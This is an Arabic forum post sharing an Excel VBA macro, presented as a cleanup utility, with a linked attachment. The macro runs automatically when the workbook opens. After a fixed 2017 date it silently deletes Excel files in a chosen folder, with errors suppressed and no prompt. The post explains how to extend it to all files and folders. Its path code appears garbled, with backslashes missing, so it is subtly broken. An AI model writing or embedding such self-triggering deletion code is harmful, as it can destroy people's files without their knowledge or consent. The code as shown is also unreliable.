بسم الله الرحمن الرحيم
اقدم لكم اليوم كود لمسح ملفات اكسيل او ملفات اخرى حسب رغبتك داخل مسار تقوم بتحديده
حسب شرط التاريخ اي اذا كان التاريخ اكبر من التاريخ المذكور يقوم بمسح الملفات داخل المسار المحدد
الكود قد يؤدى استعماله بطريقة غير سليمة لحذف اي ملفات في المسار المحدد فيرجى الانتباه في تحديد المسار والامتدادات التي تود مسحها
الكود المستخدم في حدث فتح المصنف
CODE
Private Sub Workbook_Open()
Dim FSO As Object
Dim MyPath As String
If Date > DateValue("7/3/2017") Then
Set FSO = CreateObject("scripting.filesystemobject")
MyPath = "D:Yasser" '<<مسارالملفات والفولدرات المرادمسحهم
If Right(MyPath, 1) = "" Then
MyPath = Left(MyPath, Len(MyPath) - 1)
End If
If FSO.FolderExists(MyPath) = False Then
'MsgBox MyPath & " doesn't exist"
Exit Sub
End If
On Error Resume Next
FSO.deletefile MyPath & "*.xl*", True 'مسح ملفات الاكسيل اذاكانت تريد مسح جميع الملفات ضع * بدلا من الاكسيل
' FSO.deletefolder MyPath & "*.*", True' اذا كنت تريدمسح كل الفولدرات الموجودة داخل المسار المحدد
On Error GoTo 0
End If
End Sub
تستطيع مسح كل الملفات داخل المسار باستبدال *.xl ب *.*
DEL.rar
تحياتي